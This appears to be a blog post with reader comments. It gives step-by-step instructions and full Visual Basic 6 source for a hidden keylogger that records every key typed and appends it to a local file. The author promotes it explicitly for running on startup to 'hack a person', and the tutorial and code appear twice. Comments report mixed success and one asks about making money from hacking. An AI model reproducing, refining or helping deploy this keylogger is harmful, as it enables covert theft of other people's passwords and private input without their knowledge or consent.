This is a simple script for vb6. you can store all keys typed by a user. you only need to do some simple steps.
if you are making this program to run on startup it stores all keys. through this you can even hack a person.
its an amazing !!!
1. open visual basic and start a 'standard form'.
2. add a timer, one text box to the form.
3. make form visibility hidden.
4. copy the below code to code window.
.............................................................................................
Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Sub Form_Load()
App.TaskVisible = False 'makes your form invisible from user
End Sub
Private Sub Timer1_Timer()
For i = 32 To 128 'Changed to 32 to 128
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
Text1.Text = Text1.Text + Chr$(i) 'Adding the $ sign
End If
Next i
If Len(Text1.Text) = 20 Then
On Error Resume Next
Open "C:\Program Files\HaariSoft\secrets.txt" For Append As #1 'saving the text enterd
Print #1, Text1.Text
Text1.Text = "" 'clearing the text box
Close #1
End If
Exit Sub
End Sub
..............................................................................................
5. make value of timer interval to 1
6. make form visibility hidden
7. execute it and make .exe file
8. before doing this you had to create adirectory :- "C:\Program Files\HaariSoft\secrets.txt"
if you want to hack any one making this program to run on startup. it stores all keys. through this you can even hack a person.
its an amazing !!!
If you had any doubt please mail to me harishjose007@rediffmail.com
if you are making this program to run on startup it stores all keys. through this you can even hack a person.
its an amazing !!!
1. open visual basic and start a 'standard form'.
2. add a timer, one text box to the form.
3. make form visibility hidden.
4. copy the below code to code window.
.............................................................................................
Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Sub Form_Load()
App.TaskVisible = False 'makes your form invisible from user
End Sub
Private Sub Timer1_Timer()
For i = 32 To 128 'Changed to 32 to 128
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
Text1.Text = Text1.Text + Chr$(i) 'Adding the $ sign
End If
Next i
If Len(Text1.Text) = 20 Then
On Error Resume Next
Open "C:\Program Files\HaariSoft\secrets.txt" For Append As #1 'saving the text enterd
Print #1, Text1.Text
Text1.Text = "" 'clearing the text box
Close #1
End If
Exit Sub
End Sub
..............................................................................................
5. make value of timer interval to 1
6. make form visibility hidden
7. execute it and make .exe file
8. before doing this you had to create adirectory :- "C:\Program Files\HaariSoft\secrets.txt"
if you want to hack any one making this program to run on startup. it stores all keys. through this you can even hack a person.
its an amazing !!!
If you had any doubt please mail to me harishjose007@rediffmail.com
12 comments:
Hey friends this is very useful to you.
its a working code
nice work ,thank u for giving this much information
wish u all the very best
It is not working
can you make final keylogger.vbs and upload it
because i dont have visual basic!
I cant get it to compile? It says the code is wrong or something???
It's working fine! god bless you
it says Char: 13
unexpected end
my brothers am still struggling to understand how to put all to gether and making money out of hacking
Fuk keylogger
stupidity gather
Ich bin dumm fuq
Post a Comment